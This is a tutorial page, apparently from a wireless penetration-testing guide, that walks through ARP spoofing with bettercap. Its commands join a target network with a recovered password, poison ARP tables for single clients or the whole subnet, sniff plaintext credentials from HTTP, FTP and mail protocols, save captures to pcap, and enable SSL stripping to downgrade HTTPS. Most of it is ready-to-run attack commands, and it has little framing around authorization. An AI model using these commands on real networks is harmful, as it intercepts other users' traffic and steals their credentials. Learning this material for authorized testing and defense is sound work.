Skip to content

ARP Spoofing and Traffic Interception with Bettercap

3 min read Created Mar 17, 2026 Last updated Aug 11, 2026

Once connected to a wireless network (whether through legitimate credentials, a recovered PSK, or via an evil twin), ARP spoofing positions your machine as the gateway for other clients on the same segment. Traffic from targeted clients flows through your machine before reaching the real gateway, enabling passive interception of all plaintext protocols and active manipulation of unencrypted sessions. This works on both open networks and networks where you have the PSK.

Connect to the target network with managed mode before starting bettercap. This attack runs from a connected client interface, not a monitor mode interface.

Connect to the Target Network

┌──(kali㉿kali)-[~]
└─$ nmcli dev wifi connect "TargetNetwork" password "recoveredpassword"

Start bettercap and Probe the Network

┌──(kali㉿kali)-[~]
└─$ bettercap -iface wlan0
192.168.1.0/24 > 192.168.1.2 » net.probe on
192.168.1.0/24 > 192.168.1.2 » net.show

net.probe on sends ARP and mDNS probes to discover all active hosts on the subnet. net.show lists discovered hosts with IP, MAC, vendor, and hostname. Identify the gateway IP and the target client IPs before starting the spoof.

Protocols intercepted by net.sniff once the spoof is active:

  • HTTP requests, responses, and form submissions
  • FTP credentials and file transfers
  • SMTP/IMAP/POP3 authentication
  • DNS queries (useful for mapping client activity)
  • Any other plaintext protocol on the wire

Enable ARP Spoofing with Bettercap

Target a specific client or the entire subnet. To target a specific client and the gateway:

192.168.1.0/24 > 192.168.1.2 » set arp.spoof.targets 192.168.1.25
192.168.1.0/24 > 192.168.1.2 » arp.spoof on

To target all clients on the subnet:

192.168.1.0/24 > 192.168.1.2 » set arp.spoof.targets 192.168.1.0/24
192.168.1.0/24 > 192.168.1.2 » arp.spoof on

Enable internal spoofing so bettercap also ARP-poisons hosts within the subnet against each other (not just toward the gateway). This extends MITM to host-to-host traffic, not just traffic leaving the LAN:

192.168.1.0/24 > 192.168.1.2 » set arp.spoof.internal true
192.168.1.0/24 > 192.168.1.2 » net.sniff on

Capture Credentials with net.sniff

net.sniff on captures and displays credentials from plaintext protocols including HTTP, FTP, SMTP, and others automatically. bettercap parses and highlights credential-bearing packets in the output.

To write all captured traffic to a pcap file for later analysis:

192.168.1.0/24 > 192.168.1.2 » set net.sniff.output /tmp/bettercap-capture.pcap
192.168.1.0/24 > 192.168.1.2 » net.sniff on

HTTP Proxy for SSL Stripping

To downgrade HTTPS connections to HTTP where possible, enable the HTTP proxy with SSL stripping:

192.168.1.0/24 > 192.168.1.2 » set http.proxy.sslstrip true
192.168.1.0/24 > 192.168.1.2 » http.proxy on

SSL stripping success depends on whether the target site uses HSTS preloading. Sites with HSTS enforce HTTPS at the browser level and cannot be stripped. Sites without HSTS or with short max-age values are candidates for downgrade.

Stop the Attack

Stop ARP spoofing cleanly to restore normal ARP tables on targeted clients:

192.168.1.0/24 > 192.168.1.2 » arp.spoof off
192.168.1.0/24 > 192.168.1.2 » net.sniff off

References